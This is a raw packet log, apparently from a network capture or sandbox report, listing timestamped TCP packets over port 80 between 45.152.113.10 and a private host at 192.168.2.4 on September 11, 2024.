Sep 11, 2024 22:52:06.114010096 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.114042997 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.114065886 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.114075899 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.114088058 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.114109039 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.114132881 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.114157915 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.114170074 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.114207983 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.114209890 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.114240885 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.114270926 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.114272118 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.114293098 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.114320993 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.114324093 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.114356041 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.114378929 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.114388943 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.114401102 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.114420891 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.114440918 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.114456892 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.114480019 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.114506006 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.114516020 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.114538908 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.114564896 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.114569902 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.114595890 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.114603043 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.114612103 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.114634991 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.114662886 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.114669085 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.114697933 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.114717007 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.114749908 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.114763021 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.114763021 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.114787102 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.114799976 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.114820957 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.114837885 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.114871025 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.114876032 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.114905119 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.114928007 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.114937067 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.114969969 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.114975929 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.114996910 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.115003109 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.115034103 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.115035057 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.115051031 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.115070105 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.115094900 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.115103006 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.115119934 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.115135908 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.115169048 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.115173101 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.115196943 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.115206957 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.115257978 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.115289927 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.115293980 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.115293980 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.115323067 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.115334988 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.115353107 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.115355015 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.115377903 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.115415096 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.115422964 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.115456104 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.115474939 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.115489006 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.115513086 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.115521908 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.115550995 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.115570068 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.115578890 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.115602016 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.115624905 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.115636110 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.115664959 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.115680933 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.115686893 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.115722895 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.115751982 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.115756035 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.115773916 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.115789890 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.115803003 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.115823030 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.115847111 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.115855932 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.115866899 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.115902901 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.115921974 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.115946054 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.115953922 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.116003036 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.116004944 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.116035938 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.116054058 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.116069078 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.116091967 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.116101980 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.116133928 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.116136074 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.116166115 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.116173029 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.116193056 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.116199017 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.116215944 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.116231918 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.116250038 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.116262913 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.116291046 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.116297007 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.116318941 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.116338968 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.116348982 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.116381884 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.116401911 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.116414070 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.116431952 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.116446972 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.116466999 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.116481066 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.116506100 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.116512060 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.116539001 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.116544962 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.116560936 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.116576910 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.116597891 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.116610050 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.116641045 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.116642952 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.116662979 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.116674900 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.116684914 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.116708994 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.116730928 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.116740942 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.116753101 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.116772890 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.116791010 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.116806030 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.116826057 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.116838932 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.116856098 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.116873026 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.116894960 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.116904974 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.116920948 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.116940022 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.116956949 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.116971970 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.116981030 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.117005110 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.117023945 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.117038012 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.117062092 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.117069960 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.117084026 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.117103100 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.117117882 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.117135048 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.117161036 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.117166996 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.117194891 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.117198944 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.117213964 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.117233038 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.117260933 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.117264986 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.117290974 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.117299080 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.117314100 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.117331982 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.117351055 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.117366076 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.117379904 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.117400885 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.117429972 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.117450953 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.521358013 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.521425962 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.521461964 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.521512032 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.521545887 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.521580935 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.521580935 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.521580935 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.521595001 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.521627903 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.521660089 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.521672964 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.521672964 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.521673918 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.521673918 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.521692991 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.521703005 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.521743059 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.521753073 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.521775007 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.521796942 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.521806002 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.521826982 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.521840096 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.521868944 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.521872044 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.521888971 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.521924019 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.521929026 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.521958113 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.521986008 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.521991014 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.522006035 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.522023916 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.522054911 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.522057056 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.522077084 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.522104979 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.522111893 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.522135973 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.522157907 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.522169113 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.522192001 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.522203922 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.522222042 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.522241116 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.522257090 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.522272110 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.522300005 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.522304058 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.522336006 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.522337914 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.522355080 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.522367954 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.522392988 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.522399902 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.522417068 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.522432089 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.522455931 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.522465944 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.522492886 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.522497892 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.522512913 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.522531986 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.522553921 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.522569895 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.522598028 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.522619009 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.522622108 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.522650957 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.522675037 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.522684097 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.522706032 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.522716045 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.522741079 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.522747040 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.522767067 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.522779942 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.522808075 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.522818089 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.522850037 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.522851944 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.522874117 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.522886038 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.522897005 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.522921085 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.522943974 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.522953033 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.522978067 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.522984982 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.523005962 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.523014069 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.523041010 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.523047924 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.523071051 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.523081064 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.523098946 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.523113012 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.523134947 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.523144960 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.523163080 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.523195982 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.523199081 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.523226976 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.523246050 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.523260117 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.523281097 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.523292065 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.523314953 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.523324013 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.523343086 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.523377895 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.523380995 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.523432016 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.523437023 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.523466110 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.523488998 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.523498058 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.523528099 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.523546934 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.523547888 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.523576021 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.523605108 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.523607969 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.523633957 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.523641109 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.523668051 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.523688078 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.523705959 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.523721933 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.523736000 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.523753881 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.523771048 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.523787022 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.523813963 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.523818970 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.523837090 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.523853064 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.523874044 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.523884058 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.523896933 CEST	49733	80	192.168.2.4	45.152.113.10
